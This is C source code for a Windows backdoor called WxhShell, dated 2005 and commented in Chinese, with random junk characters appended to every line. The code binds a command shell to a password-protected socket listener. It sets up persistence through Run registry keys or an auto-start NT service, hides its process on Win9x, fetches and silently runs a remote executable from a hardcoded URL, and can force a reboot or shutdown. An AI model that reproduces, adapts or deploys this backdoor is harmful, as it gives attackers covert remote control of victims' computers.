    if(Boot(SHUTDOWN)) 8a3h)R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6h:2,h pE  
    else { Av_JcH  
    closesocket(wsh); 7 HM%Cd  
    ExitThread(0); 7FGi+  
    } 4Bz:n  
    break; ;30SnR/  
    } nb_$g@ 03  
  // 获取shell ` D={l29H  
  case 's': { b,uu dtlH  
    CmdShell(wsh); EN;s 8sC!  
    closesocket(wsh); =WM^i86  
    ExitThread(0); 5V@c~1\  
    break; Wg!JQRHtT  
  } {Etvu  
  // 退出 yttaZhK^u  
  case 'x': { kBg8:bo~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EE$\8Gx']!  
    CloseIt(wsh); *Sp_s_tS  
    break; kqQT^6S   
    } Gqs)E"h  
  // 离开 ZfP$6%;_  
  case 'q': { G_/Dz JBF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^^)n  
    closesocket(wsh); N|\Q:<!2_w  
    WSACleanup(); szC<ht?z  
    exit(1); X)b@ia'"Wp  
    break; 7B{LRm6;Vu  
        } 2R];Pv  
  } 8(ej]9RObU  
  } lgQ"K(zY  
chA7R'+LA  
  // 提示信息 '|^x[8^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B nUWg ^E  
} W!t=9i  
  } ble[@VW|  
+FJ+,|i  
  return; R,dbq4xkl  
} 9wbj}tN\z  
TQ5*z,CkS  
// shell模块句柄 M`) /^S9  
int CmdShell(SOCKET sock) a]nK!;>$  
{ ?/|KM8  
STARTUPINFO si; '8w>=9Xl  
ZeroMemory(&si,sizeof(si)); AX;!-|bW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I>JBGR`j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MUn(ZnQy|  
PROCESS_INFORMATION ProcessInfo; |ya.c\}q  
char cmdline[]="cmd"; ohna1a^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qsWy <yL+  
  return 0; 75^AO>gt   
} 5D eo}(3  
ez<V  
// 自身启动模式 2"6bz^>}  
int StartFromService(void) ]Bj2;<@y  
{ LS]0p#  
typedef struct {hFH6]TA  
{ $Da?)Hz'F  
  DWORD ExitStatus; y #zO1Nig`  
  DWORD PebBaseAddress; Z5|BwM  
  DWORD AffinityMask; );;UA6CD  
  DWORD BasePriority; T:Nc^QP|tm  
  ULONG UniqueProcessId; T/]f5/  
  ULONG InheritedFromUniqueProcessId; .tcdqL-'  
}   PROCESS_BASIC_INFORMATION; nO+R >8,Q  
Jb*E6-9G  
PROCNTQSIP NtQueryInformationProcess; v =d16  
VYjt/\ Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xz`0nU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "S H=|5+  
D$N;Qb  
  HANDLE             hProcess; l"-Z#[  
  PROCESS_BASIC_INFORMATION pbi; o$Ju\(Y$<+  
m~0Kos%^*b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z C<+BKS  
  if(NULL == hInst ) return 0; _ee<i8_Va  
ly:2XvV3~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T~L&c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !_P&SmK3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "+E\os72|  
?N^1v&Q  
  if (!NtQueryInformationProcess) return 0; ?4^ 0xGyE  
BP}@E$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h4#'@%   
  if(!hProcess) return 0; 1mD)G55Ep  
dci<Rz`h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5th?m>  
[ ou$*  
  CloseHandle(hProcess); y @S_CB 47  
kH8/8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k.z(.uc=  
if(hProcess==NULL) return 0; <RKT |  
"}V_.I* +  
HMODULE hMod; IC?(F]$%>  
char procName[255]; u*/+cT  
unsigned long cbNeeded; uP+VS>b  
+Qf}&D_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H@1}_d  
`Qjs {H  
  CloseHandle(hProcess); /3&MUB*z&y  
0` .5gxm  
if(strstr(procName,"services")) return 1; // 以服务启动 L 0oVXmlr  
L7hRFf-o  
  return 0; // 注册表启动 G[1\5dK*uR  
} ?}uuTNLl)  
7Ja*T@ !h  
// 主模块 ;tSA Q  
int StartWxhshell(LPSTR lpCmdLine) j+@3.^vK  
{ AJm$(3?/D  
  SOCKET wsl; tv26eK 38  
BOOL val=TRUE; ,J8n}7aI  
  int port=0; ^qnmKA>"F  
  struct sockaddr_in door; m7DKC,  
J\P6  
  if(wscfg.ws_autoins) Install();  /y wP 0  
e[16 7uU  
port=atoi(lpCmdLine); vd)zvI  
Q;J( 5;  
if(port<=0) port=wscfg.ws_port; ?xrOhA9  
7B)1U_L0H  
  WSADATA data; 5VJe6i9;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =J4|"z:  
1X&.po  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G:p85k `  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Ni{UV? k  
  door.sin_family = AF_INET; 8xg^="OJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1)MDnODJ  
  door.sin_port = htons(port); &a;?o~%*]i  
/-,\$@J5)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M(zZ8#  
closesocket(wsl); Z XGi> E  
return 1; QW$p{ zo  
} l<BV{Gl  
VX&PkGi?o  
  if(listen(wsl,2) == INVALID_SOCKET) { _bi)d201  
closesocket(wsl); SI=u-'%  
return 1; NB4O,w  
} kw@^4n+M  
  Wxhshell(wsl); ( *Xn"o  
  WSACleanup(); (6 Od   
f um.G{}  
return 0; P.qzP/Ny  
I{jvUYrKH  
} y;uR@{  
" X8jpg  
// 以NT服务方式启动  -X71JU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )+hV+rM jp  
{ Yu>DgMW  
DWORD   status = 0; {*AA]z? zo  
  DWORD   specificError = 0xfffffff; 7oW Mjw\  
XIbZ_G^ +D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -^lc-$0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @(~:JP?KNC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dWPQp*f2  
  serviceStatus.dwWin32ExitCode     = 0; `r-jWK\  
  serviceStatus.dwServiceSpecificExitCode = 0; i*Ldec^  
  serviceStatus.dwCheckPoint       = 0; k%sH09   
  serviceStatus.dwWaitHint       = 0; z8'1R6nq  
M{Z ;7n'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m$kQbPlatN  
  if (hServiceStatusHandle==0) return; lOk8VlH<h  
9MYk5q.X:  
status = GetLastError(); =y4dR#R(\  
  if (status!=NO_ERROR) b1Kt SRLV  
{ &J*M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %^pi  
    serviceStatus.dwCheckPoint       = 0; XS[L-NHG  
    serviceStatus.dwWaitHint       = 0; Ch_rV+  
    serviceStatus.dwWin32ExitCode     = status; 8s@N NjV  
    serviceStatus.dwServiceSpecificExitCode = specificError; b1.*cIv}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w_xca(  
    return; ~DI$O[KpR%  
  } WXl+w7jr  
)&Oc7\J,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ph.c*c  
  serviceStatus.dwCheckPoint       = 0; fq]PKLW'  
  serviceStatus.dwWaitHint       = 0; AO$AT_s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g4$(%]  
} n%s%i-[5B  
\A"o[A2v  
// 处理NT服务事件,比如:启动、停止 by X!,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B6Vlc{c5SO  
{ e~9O#rQI  
switch(fdwControl) BVNW1<_:  
{ V@G#U[D  
case SERVICE_CONTROL_STOP: N8b\OTk2  
  serviceStatus.dwWin32ExitCode = 0; fI613ww]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hTr5Q33y>  
  serviceStatus.dwCheckPoint   = 0; lUm(iYv;H  
  serviceStatus.dwWaitHint     = 0; DPTk5o[  
  { .$%p0Yx+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,erf{"Nh  
  } s9;6&{@%wO  
  return; \ ;npdFy  
case SERVICE_CONTROL_PAUSE: ,vJt!}}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HYmC3  
  break; tcuwGs>_  
case SERVICE_CONTROL_CONTINUE: U]iI8c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QO/0VB42  
  break; 50W+!'  
case SERVICE_CONTROL_INTERROGATE: ["Ltqgx  
  break; 5^u$zfR  
};  ?pTX4a&>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D(#f`Fj;  
} $zM shLT  
Y$ ys4X  
// 标准应用程序主函数 *?rWS"B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qd*}d)!  
{ &riGzU]  
YAr6 cl  
// 获取操作系统版本 xH-d<Ht,7  
OsIsNt=GetOsVer(); *1b|j|5v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,^UqE {  
;*<tU n^t  
  // 从命令行安装 u0q$`9J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4wl1hp>,  
$;qi -K3j  
  // 下载执行文件 G*fo9eu5$  
if(wscfg.ws_downexe) { Wwq:\C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tlsh[@Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); /kW Z 8Z  
} mgq!)  
_FY&XL=  
if(!OsIsNt) { Fb5U@X/vE  
// 如果时win9x,隐藏进程并且设置为注册表启动 &O&HczO  
HideProc(); k$w~JO!s  
StartWxhshell(lpCmdLine); EKwQ$?I  
} \G" S7  
else M&Ka ^h;N  
  if(StartFromService()) LVj 1NP  
  // 以服务方式启动 2$JGhgDI  
  StartServiceCtrlDispatcher(DispatchTable); eqo0{e  
else !eLj + 0  
  // 普通方式启动 ti\ ${C3  
  StartWxhshell(lpCmdLine); |*&l?S  
9y7N}T6  
return 0; J D\tt-  
} 2/LSB8n|  
k~Ex_2;#  
'cW^S7  
H U|.5tP  
=========================================== -@W9+Zf5  
,fkvvM{mq  
PsY![CPrW  
-8TJ:#|N  
#~*v##^vFH  
)h{&O ,s  
" Z'z)Oo  
rbw$=bX}  
#include <stdio.h> ToXWFX  
#include <string.h> `fu_){  
#include <windows.h> 3o<d= @`r  
#include <winsock2.h> ) r2Y@+.FN  
#include <winsvc.h> [{znwK@  
#include <urlmon.h> Jh26!%<Bl  
Q]:O#;"<  
#pragma comment (lib, "Ws2_32.lib") g{8RPw]  
#pragma comment (lib, "urlmon.lib") #2{-6ey  
 +\/Q  
#define MAX_USER   100 // 最大客户端连接数 |3*9+4]a  
#define BUF_SOCK   200 // sock buffer jjs/6sSRk  
#define KEY_BUFF   255 // 输入 buffer sVLvnX,  
b$G{^  
#define REBOOT     0   // 重启 FaL\6w  
#define SHUTDOWN   1   // 关机 1 ^~&"s U  
bjZJP\6  
#define DEF_PORT   5000 // 监听端口 o>el"0rn.h  
z5+Pi:1w  
#define REG_LEN     16   // 注册表键长度 +HK4sA2;  
#define SVC_LEN     80   // NT服务名长度 'solCAy  
Q#bW"},^k  
// 从dll定义API 9mF '   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K`4rUEf}V"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (!~cO x   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h [TwaR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h3ygL"k  
jh5QIZf=  
// wxhshell配置信息 NVyBEAoh  
struct WSCFG { o<`vh*U@,4  
  int ws_port;         // 监听端口 C"hN2Z!CD|  
  char ws_passstr[REG_LEN]; // 口令 @KN+)qP  
  int ws_autoins;       // 安装标记, 1=yes 0=no #lYyL`B+~  
  char ws_regname[REG_LEN]; // 注册表键名 6EqA Y`y  
  char ws_svcname[REG_LEN]; // 服务名 q!Du J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A~zn;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cG|fau<G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U( YAI%O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +&GV-z~o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #NS|9jW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6x+ujUBkK  
=~D? K9o  
}; iSW2I~PD  
d t/AAk6  
// default Wxhshell configuration o3J#hQrl  
struct WSCFG wscfg={DEF_PORT, H;Wrcf2  
    "xuhuanlingzhe", O[@!1SKT0  
    1, o+A7hBM^  
    "Wxhshell", mw @Pl\=  
    "Wxhshell", +C( -f  
            "WxhShell Service", <Xf6?nyZ(  
    "Wrsky Windows CmdShell Service", |{(<A4W  
    "Please Input Your Password: ", !8{ VLg  
  1, ?Oyo /?/  
  "http://www.wrsky.com/wxhshell.exe", 5cSiV7#Y:  
  "Wxhshell.exe" AjzTszByu  
    }; -<W?it?D  
|23F@s1  
// 消息定义模块 S}6Ld(_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  5NU{y+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ln"wj O ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;kFD769DLw  
char *msg_ws_ext="\n\rExit."; ClG%zE&i  
char *msg_ws_end="\n\rQuit."; "J VIkC  
char *msg_ws_boot="\n\rReboot..."; m%'nk"p9  
char *msg_ws_poff="\n\rShutdown..."; L9GLj Rp-  
char *msg_ws_down="\n\rSave to "; q+g,?;Yx  
GkGiQf4hh  
char *msg_ws_err="\n\rErr!"; F%OP,>zl  
char *msg_ws_ok="\n\rOK!"; Y(Q 0m|3P  
>O'\ jp}$l  
char ExeFile[MAX_PATH]; C$[d~1t6  
int nUser = 0; d&AG~,&d|  
HANDLE handles[MAX_USER];  Nx}nOm  
int OsIsNt; *PJH&g#Ge  
x|H`%Z  
SERVICE_STATUS       serviceStatus; bA;OphO(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a:FU- ^B4~  
`Os=cMR  
// 函数声明 bI):-2&s}  
int Install(void); qmS9*me {  
int Uninstall(void); mF4W4~"  
int DownloadFile(char *sURL, SOCKET wsh); 0PzSp ]  
int Boot(int flag); qu=~\t1[6  
void HideProc(void); Jo?LPR \6  
int GetOsVer(void); VB |?S|<  
int Wxhshell(SOCKET wsl); p`tz*ewC  
void TalkWithClient(void *cs); %~rEJB@{  
int CmdShell(SOCKET sock); 3CCs_AO  
int StartFromService(void); ah>c)1DA*H  
int StartWxhshell(LPSTR lpCmdLine); \)PB p  
v{u3[c   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z8v\>@?5R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c&['T+X  
]'.qRTz'\t  
// 数据结构和表定义 r,5e/X  
SERVICE_TABLE_ENTRY DispatchTable[] = iZGbNN  
{ u 3WU0Z`  
{wscfg.ws_svcname, NTServiceMain}, Wu>]R'C  
{NULL, NULL} eG=d)`.JaV  
}; P,v7twc0M  
r!r08y f  
// 自我安装 2/-m-5A  
int Install(void) ($di]lbsT  
{ D8A+`W?  
  char svExeFile[MAX_PATH]; |J $A%27  
  HKEY key; xUJ(tG3  
  strcpy(svExeFile,ExeFile); Xdvd\H=  
;jP sS^X  
// 如果是win9x系统,修改注册表设为自启动  2&6D`{"P  
if(!OsIsNt) { >A Ep\ *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7@ym:6Y+]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \!ZA#7  
  RegCloseKey(key); /b+~BvTh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "4b{YWv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o&JoeKXor  
  RegCloseKey(key); ,!= sGUQ)  
  return 0; <ZC .9  
    } Kz'GAm\  
  } oj8r*  
} X5WA-s(?0  
else { [P2>KQ\  
vo/x`F'ib  
// 如果是NT以上系统,安装为系统服务 pY&6p~\p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3u@,OE  
if (schSCManager!=0) #2=l\y-#  
{ ~WrpJjI[  
  SC_HANDLE schService = CreateService pte\1q[N  
  ( q <}IO  
  schSCManager, h#1:ypA6l  
  wscfg.ws_svcname, =dXHQU&Q  
  wscfg.ws_svcdisp, )nd^@G^  
  SERVICE_ALL_ACCESS, vJE=H9E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *|&Y ,H?  
  SERVICE_AUTO_START, g *5_m(H  
  SERVICE_ERROR_NORMAL, 2dts}G  
  svExeFile, u#6s^ )W  
  NULL, [s}W47N1  
  NULL, !@C-|=9G  
  NULL, Zpd-ob  
  NULL, 'o='Q)Dk  
  NULL /_{-~0Z=@B  
  ); T;u;r@R/  
  if (schService!=0) P@y)K!{Nk  
  { l;M,=ctB(  
  CloseServiceHandle(schService); Zma;An6  
  CloseServiceHandle(schSCManager); tP_.-//  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r] /Ej!|  
  strcat(svExeFile,wscfg.ws_svcname); f2.=1)u.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Z; !N37U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "P7OD^(x/  
  RegCloseKey(key); 9O g  
  return 0; :7{GOx  
    } [I;C 6p  
  } U|wST&rU|  
  CloseServiceHandle(schSCManager); 2j f!o  
} <Zva  
} 6 ;'s9s"  
8UB2 du@?  
return 1; 1 |z4]R,<  
} jHEP1rNHE  
`8ob Xb  
// 自我卸载 :E W1I>}_  
int Uninstall(void) RFM;?!S  
{ A6z2KVk  
  HKEY key;  II'.vp  
fhi}x(  
if(!OsIsNt) { ?0)K[Kd'Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Q"yn2b4  
  RegDeleteValue(key,wscfg.ws_regname); bI.hG32  
  RegCloseKey(key); nw+t!C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sr+hB>{  
  RegDeleteValue(key,wscfg.ws_regname); 'c~SE>  
  RegCloseKey(key); vhMoCLb  
  return 0; nscnG5'{+  
  } 8{Wl   
} +B{u,xgg  
} oVK?lQ~y  
else { ) [eTZg  
_J*l,]}S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qt:B]#j@  
if (schSCManager!=0) OX,em Ti  
{ %C%3c4+Oh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (jKqwVs.:  
  if (schService!=0) ^a qQw u  
  { "s@Hg1  
  if(DeleteService(schService)!=0) { "= 2\kZ  
  CloseServiceHandle(schService); 'qVlq5.  
  CloseServiceHandle(schSCManager); G/ si( LK  
  return 0; p*K #s1  
  } +wG *qI  
  CloseServiceHandle(schService); M._h=wX{}  
  } &q&z$Gc;m  
  CloseServiceHandle(schSCManager); f (C:J[;Z  
} @l3&vt2=J  
} :TVo2Zm[@  
,`U>BBBLv  
return 1;  /$93#$  
} zMepF]V  
N75U.;U0  
// 从指定url下载文件 <j,I@%  
int DownloadFile(char *sURL, SOCKET wsh) ?121 as}z  
{ '7' 73  
  HRESULT hr; <Z[Z&^  
char seps[]= "/"; SN|!FW.*:  
char *token; U| yt   
char *file; YdV.+v(30  
char myURL[MAX_PATH]; JQLQS  
char myFILE[MAX_PATH]; Wrbv<8}%c  
ke@OG! M/  
strcpy(myURL,sURL); _9-;35D_  
  token=strtok(myURL,seps); _W@sFv%sj  
  while(token!=NULL) */~|IbZ`o  
  { [#wt3<d`)  
    file=token; 3N]ushMO  
  token=strtok(NULL,seps); p7+>]sqX  
  } !pfpT\i]N:  
C!_=L?QT^  
GetCurrentDirectory(MAX_PATH,myFILE); "[/W+&z[~  
strcat(myFILE, "\\"); (]k Q9}8  
strcat(myFILE, file); S#CaJ}M  
  send(wsh,myFILE,strlen(myFILE),0); ^?|4<Rm  
send(wsh,"...",3,0); Vuy%7H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t(<k4ji,  
  if(hr==S_OK) /?BTET  
return 0; IUAe6  
else  irh Z  
return 1; 2K3j3|T  
l_2Xao$  
} &n]v  
-7oIphJ=\  
// 系统电源模块 Z9H2! Cp  
int Boot(int flag) ^0"fPG`  
{ DmWa!5  
  HANDLE hToken; S^q^=q0F  
  TOKEN_PRIVILEGES tkp; m Urb  
"cS7E5-|  
  if(OsIsNt) { 5~>j98K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Y0K Wx4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;"f9"  
    tkp.PrivilegeCount = 1; -~sW@u)O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f*V^HfiQb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p%Q{Rqc)  
if(flag==REBOOT) { e`B!)Sr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x`2dN/wDhf  
  return 0; ;B< rw ^h5  
} + S5uxO  
else { Tq^B>{S "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (^T}6t3+4  
  return 0; A?-t`J  
} /:-ig .YY  
  } ; p+C0!B2  
  else { 8xj_)=(sV!  
if(flag==REBOOT) { )4o k@^.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &]f8Xd  
  return 0; j0F& WKk  
} I(>_as\1  
else { W-D4" G@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hl}m*9<9us  
  return 0; g \+!+!"~  
} :\mdVS!o  
} <}mA>c'k  
U_9|ED:  
return 1; <%4pvn8d?&  
} $Q|6W &?[;  
TJcHqzcUc  
// win9x进程隐藏模块 F)l1%F Cm  
void HideProc(void) PTpfa*t  
{ "T8b.ng  
ko{&~   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yqJ>Z%)hf  
  if ( hKernel != NULL ) _4{3^QZq5  
  { Y3V2}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dF|n)+C~R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /w5c:BH  
    FreeLibrary(hKernel); 4X:mb}(  
  } ,S}wOjb@  
AgDXpaq  
return; !~mPxGY  
} (e 2.Ru  
rXrIGgeM  
// 获取操作系统版本 OK@yMGz1I  
int GetOsVer(void) <0/)v J- 9  
{ V+u0J"/8  
  OSVERSIONINFO winfo; s ldcI@Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f'j<v  
  GetVersionEx(&winfo); ?Rh[S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `)i4ZmE|  
  return 1; +>tSO!}[  
  else ,]@Sytky  
  return 0; t,~feW,  
} Ch=jt*0  
+nYF9z2  
// 客户端句柄模块 47 &p*=  
int Wxhshell(SOCKET wsl) | m#"  
{ uE#"wm'J  
  SOCKET wsh; ![[:Z  
  struct sockaddr_in client; P$__c{1\  
  DWORD myID; \O>;,(>i  
<P5 7s+JK  
  while(nUser<MAX_USER) I0bkc3  
{ "v'%M({  
  int nSize=sizeof(client); CT.hBz -S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o3'Za'N.  
  if(wsh==INVALID_SOCKET) return 1; }dq)d.c  
ypvz&SzIh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /p|L.&`U  
if(handles[nUser]==0) B I>r'  
  closesocket(wsh); o~x49%X<c  
else >b*}Td~J  
  nUser++; :dlG:=.W  
  } BE!WCDg,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =1VpO{ q  
Q-e(>=Gv_  
  return 0; |pT[ZT|}G  
} @ +>>TGC  
nI`9|W  
// 关闭 socket hC!8-uBK5<  
void CloseIt(SOCKET wsh) m4c2WY6k  
{ vf!lhV-UG+  
closesocket(wsh); -+Ox/>k  
nUser--; ocj^mxh =O  
ExitThread(0); tY`%vI [  
} S8e?-rC  
_nIt4l7  
// 客户端请求句柄 kc[<5^b5  
void TalkWithClient(void *cs) q$B|a5a?  
{ E**Hu9  
UotLJa  
  SOCKET wsh=(SOCKET)cs; T\TKgO=)  
  char pwd[SVC_LEN]; aslb^  
  char cmd[KEY_BUFF]; uF@DJX}>  
char chr[1]; DbN_(mC  
int i,j; Vpxsg CS  
c*V/2" 5  
  while (nUser < MAX_USER) { F,xFeq$/{  
239g pf]}  
if(wscfg.ws_passstr) { d?[8VfAnh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GS,}]c=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ye\ &_w"  
  //ZeroMemory(pwd,KEY_BUFF); wEix8Ow*  
      i=0;  )jH|j  
  while(i<SVC_LEN) { XTq+  9  
Yx"~_xA/u  
  // 设置超时 J'yiVneMw  
  fd_set FdRead; 9,wU[=.0  
  struct timeval TimeOut; Ix.Y_}  
  FD_ZERO(&FdRead); bl8y o4  
  FD_SET(wsh,&FdRead); E(an5x/r  
  TimeOut.tv_sec=8; V}/AQe2m&  
  TimeOut.tv_usec=0; R@[1a+}5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AYoLpes  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^%RIz!}  
f!}e*oX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5"7lWX  
  pwd=chr[0]; i)M JP*  
  if(chr[0]==0xd || chr[0]==0xa) { `_.(qg   
  pwd=0; ej]>*n  
  break; 'Fa~l'G7X  
  } Nj}-"R\u  
  i++; hx!hI1   
    } aB~=WWLR\  
}\.Z{h:t ?  
  // 如果是非法用户,关闭 socket $$---Y   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :w26d-QR(  
} 3Ebkq[/*%  
4nD U-P#f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CQET  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9y*pn|A[F  
cG4$)q;q  
while(1) { wGx*Xy1n<  
q4KYC!b  
  ZeroMemory(cmd,KEY_BUFF); 6V @ [< d  
d6g^>}-!t  
      // 自动支持客户端 telnet标准   WTj,9  
  j=0; Si=u=FI1e  
  while(j<KEY_BUFF) { iR{*X E   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MY z\ R \  
  cmd[j]=chr[0]; x4/f5  
  if(chr[0]==0xa || chr[0]==0xd) { \`|OAC0a  
  cmd[j]=0; B&z~}lL  
  break; F'JceU  
  } a*{ -r]  
  j++; XjJ[7"hs*  
    } 5H/D~hr&  
3/RNStd<L!  
  // 下载文件 ),U>AiF]  
  if(strstr(cmd,"http://")) { Jrw R:_+|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  kSU]~x  
  if(DownloadFile(cmd,wsh)) '>dx~v %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m 3"|$0C~  
  else ??? ;H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yi#U~ h  
  } j# !U6T  
  else { oTxE]a,  
e'5sT#T9l  
    switch(cmd[0]) { \t%rIr  
